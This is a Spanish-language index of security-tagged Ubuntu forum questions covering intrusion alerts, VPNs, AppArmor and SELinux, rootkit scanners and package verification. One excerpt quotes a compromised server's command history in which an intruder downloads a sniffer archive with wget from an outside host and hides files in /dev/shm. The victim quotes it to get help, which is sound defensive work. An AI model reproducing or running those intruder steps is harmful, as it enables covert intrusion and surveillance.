Preguntas etiquetadas con security

He estado usando Linux durante bastante tiempo y siempre siento la necesidad de tener una configuración pasiva de software / script que pueda alertarme sobre cualquier actividad sospechosa de la red como escaneos, intentos fallidos de inicio de sesión, etc. sobre la marcha por correo electrónico o por correo electrónico. …

27 software-recommendation  security  firewall  logs 

No puedo encontrar ningún proveedor de VPN gratuito para Ubuntu. Traté de buscar viejas preguntas pero parecen estar desactualizadas.

27 security  vpn  privacy 

Recientemente adquirí un Yubikey Neo, un ingenioso y pequeño dispositivo de autenticación de segundo factor de hardware. Está destinado principalmente para su uso con contraseñas de un solo uso y el protocolo U2F emergente, pero desde la versión 2 de Yubikey también es compatible con la autenticación de desafío-respuesta HMAC-SHA1. …

27 password  security  encryption  luks  yubikey 

Mi política corporativa dice que las cajas de Linux deben estar protegidas con SELinux (para que un auditor de seguridad pueda marcar la casilla de verificación "¡sí, estamos extremadamente seguros!" Para cada servidor). Tenía la esperanza de aprovechar la increíble seguridad predeterminada de Ubuntu AppArmor. ¿Es imprudente ejecutar Apparmor y …

27 security  permissions  apparmor 

Estoy 99.9% seguro de que mi sistema en mi computadora personal ha sido infiltrado. Permítanme primero dar mi razonamiento para que la situación sea clara: Cronología aproximada de actividad sospechosa y acciones posteriores tomadas: 4-26 23:00 Terminé todos los programas y cerré mi computadora portátil. 4-27 12:00 Abrí mi computadora …

25 ssh  security  passwd-file 

Escanear por chkrootkit muestra "tcpd" como INFECTADO. Aunque un escaneo por rkhunter muestra ok, (excepto los falsos positivos regulares) ¿Debo estar preocupado? (Estoy en Ubuntu 16.10 con 4.8.0-37-generic)

25 security  malware  rootkit  tcpdump  chkrootkit 

Sé que la contraseña de sudo protege mi computadora de ser hackeada localmente por alguien que tiene acceso físico a ella ( edición: en realidad, no lo hace ) Mi contraseña es lo suficientemente segura para ese propósito, pero sé que no es lo suficientemente segura si alguien puede forzarla …

25 password  sudo  security 

Como el 99% de los usuarios, instalo Ubuntu desde binarios ya preparados. ¿Cómo puedo verificar que esos binarios son en realidad del código fuente original de Ubuntu? Sería bueno verificar que NSA / alguien no ha colaborado con Ubuntu o Linode (mi proveedor de VPS) para meterse con los binarios. …

25 security 

¿Ubuntu viene con un firewall preinstalado o automático? Si no, ¿necesito uno? He leído algunos artículos sobre las ventajas de Linux sobre otros sistemas operativos sobre seguridad (no es necesario tener antivirus, ...) pero me gustaría estar seguro.

25 security  firewall 

Estoy ejecutando Ubuntu 10.04.1 LTS. Estoy ejecutando rkhunter para buscar rootkits. rkhunter se queja de los siguientes archivos y directorios ocultos. Creo que estos archivos no son un problema real en mi sistema, pero ¿cómo puedo verificar si estos archivos son legítimos? [07:57:45] Checking for hidden files and directories [ …

25 10.04  security  rkhunter 

Ayer revisé mi historial de comandos en mi VServer. Encontré varias líneas sospechosas. 195 wget aridan.hol.es/sniffer.tgz 196 tar xvf sniffer.tgz 197 ls -a 198 rm -rf sniffer.tgz 199 rm -rf .sniff/ 200 cd /dev/shm 201 ls -a 202 mkdir " . " 203 ls -a 204 cd " . "/ …

24 ssh  security  malware 

Estoy tratando de entender el do-release-upgradeproceso, es decir, la forma en que Ubuntu me pide que actualice a la próxima versión de Ubuntu de primavera u otoño. Después de leer las fuentes ubuntu-release-upgrader, encontré el archivo / etc / update-manager / meta-release en mi sistema. Este archivo parece utilizar una …

24 security  do-release-upgrade 

Algunas preguntas que quiero responder en la respuesta: ¿Cómo sé si apparmor está funcionando? ¿Cómo puedo saber si está funcionando bien?

24 security  apparmor 

Entiendo que si algún malware llega a un sistema Linux, a lo sumo, obtendrá un privilegio de nivel de usuario y arruinará cualquier cosa al alcance del usuario en particular, es decir, sus propios archivos. Pero, ¿qué impide exactamente que los malwares obtengan acceso a nivel raíz? ¿No puede de …

24 security 

En un sistema RedHat / CentOS, puedo verificar los RPM instalados en mi sistema usando rpm -V . ¿Cuál es el Ubuntu o aptequivalente de este comando?

24 security  apt  rpm  deb